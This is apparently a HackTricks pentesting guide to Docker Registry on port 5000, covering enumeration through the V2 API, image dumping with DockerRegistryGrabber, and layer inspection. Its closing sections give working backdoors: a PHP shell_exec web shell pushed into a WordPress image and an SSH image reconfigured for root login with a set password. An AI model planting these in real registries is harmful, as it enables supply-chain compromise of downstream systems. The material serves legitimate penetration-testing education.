// HackTricks · Network Services

5000 - Pentesting Docker Registry

5000 - Pentesting Docker Registry

Basic Information

A container registry stores and distributes named images and other OCI content. Repositories contain manifests referenced by tags or immutable digests, while the manifests point to configuration and layer blobs. Authorized clients pull and push this content through the registry API.[1][3]

Docker Hub is Docker’s default public registry. Organizations can also run the open-source CNCF Distribution registry or use other hosted/private OCI-compatible services. Docker Trusted Registry is a historical product name; current environments may expose successor or vendor-specific registry products.[1]

To download an image from an on-premise registry, the following command is used:

docker pull my-registry:9000/foo/bar:2.1

This command fetches the foo/bar image version 2.1 from the on-premise registry at the my-registry domain on port 9000. Conversely, to download the same image from DockerHub, particularly if 2.1 is the latest version, the command simplifies to:

docker pull foo/bar

Default port: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

Discovering

Nmap service detection can identify a directly exposed registry, but an HTTP reverse proxy or non-standard path/port may hide the backend. Prefer the version-check endpoint as the protocol fingerprint:[3]

  • A request to /v2/ should return 200 OK when the V2 API is available or 401 Unauthorized when authentication is required; either response should carry Docker-Distribution-API-Version: registry/2.0. The response body is implementation-dependent.
  • If you access /v2/_catalog you may obtain:
    • {"repositories":["alpine","ubuntu"]}
    • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Enumeration

HTTP/HTTPS

Registries may be exposed over HTTP in a lab or HTTPS in production. Test both schemes explicitly; production deployments should use TLS and access control.[4]

curl -i http://10.10.10.10:5000/v2/
curl -ki https://10.10.10.10:5000/v2/
curl -ks https://10.10.10.10:5000/v2/_catalog

Authentication

A registry may require authentication and may authorize access per repository/action:[3]

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

If the Docker Registry requires authentication, you can test credentials as described here. Avoid account lockouts and high request volume.
If you find valid credentials you will need to use them to enumerate the registry, in curl you can use them like this:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Enumeration using DockerRegistryGrabber

DockerRegistryGrabber is a Python tool for enumerating or dumping a registry with no authentication, Basic authentication, or a supplied bearer token.[2]

usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

     ____   ____    ____
    |  _ \ |  _ \  / ___|
    | | | || |_) || |  _
    | |_| ||  _ < | |_| |
    |____/ |_| \_\ \____|
     Docker Registry grabber tool v2
     by @SyzikSecu

positional arguments:
  url                URL

options:
  -h, --help         show this help message and exit
  -p port            port to use (default : 5000)

Authentication:
  -U USERNAME        Username
  -P PASSWORD        Password
  -A header          Authorization bearer token

Actions:
  --list
  --dump_all
  --dump DOCKERNAME  DockerName

Example commands:
  python drg.py http://127.0.0.1 --list
  python drg.py http://127.0.0.1 --dump my-ubuntu
  python drg.py http://127.0.0.1 --dump_all
  python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
  python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
  python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
  python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
  python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
  python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Enumeration using curl

After obtaining access to the registry, use the V2 API endpoints below to enumerate it.[3]

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

# Get a manifest (the Accept header below requests the modern OCI/Docker v2 formats)
curl -s -H 'Accept: application/vnd.oci.image.manifest.v1+json, application/vnd.docker.distribution.manifest.v2+json' \
  http://192.251.36.3:5000/v2/ubuntu/manifests/latest
# A legacy schema-1 response can instead look like this:
{
   "schemaVersion": 1,
   "name": "ubuntu",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
      },
      {
         "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
               "kty": "EC",
               "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
               "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
            },
            "alg": "ES256"
         },
         "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
      }
   ]
}

#Download one of the previously listed blobs
curl -L http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -tf blob1.tar # Inspect names first
mkdir blob1 && tar -xf blob1.tar -C blob1

[!WARNING] Downloaded layers are untrusted archives. List their entries first, inspect for absolute paths or .. traversal, and extract each layer into a separate disposable directory. Extracting every layer into one directory can overwrite files from earlier layers and also loses the layer-by-layer history.

Enumeration using docker

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash # Get a Bash shell (use /bin/sh for minimal images)

Backdooring WordPress image

If an authorized test confirms that you can push to a repository consumed by a deployment, you can demonstrate image-supply-chain impact by adding a test backdoor. Use a disposable tag whenever possible; overwriting a production tag can disrupt or compromise downstream systems.
Create the backdoor:

<?php echo shell_exec($_GET["cmd"]); ?>

Create a Dockerfile:

FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 0644 /app/shell.php

Create the new image, check it’s created, and push it:

docker build -t 10.10.10.10:5000/wordpress .
 #Create
docker images
docker push 10.10.10.10:5000/wordpress # Push it

Backdooring SSH server image

The same write-access test can be demonstrated against an SSH server image. Only perform this against an explicitly authorized, non-production tag.
Download the image and run it:

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

Extract the sshd_config file from the SSH image:

docker cp 4c989242c714:/etc/ssh/sshd_config .

And modify it to set: PermitRootLogin yes

Create a Dockerfile like the following one:

Dockerfile

FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

Create the new image, check it’s created, and push it:

docker build -t 10.10.10.10:5000/sshd-docker-cli .
 #Create
docker images
docker push 10.10.10.10:5000/sshd-docker-cli # Push it

References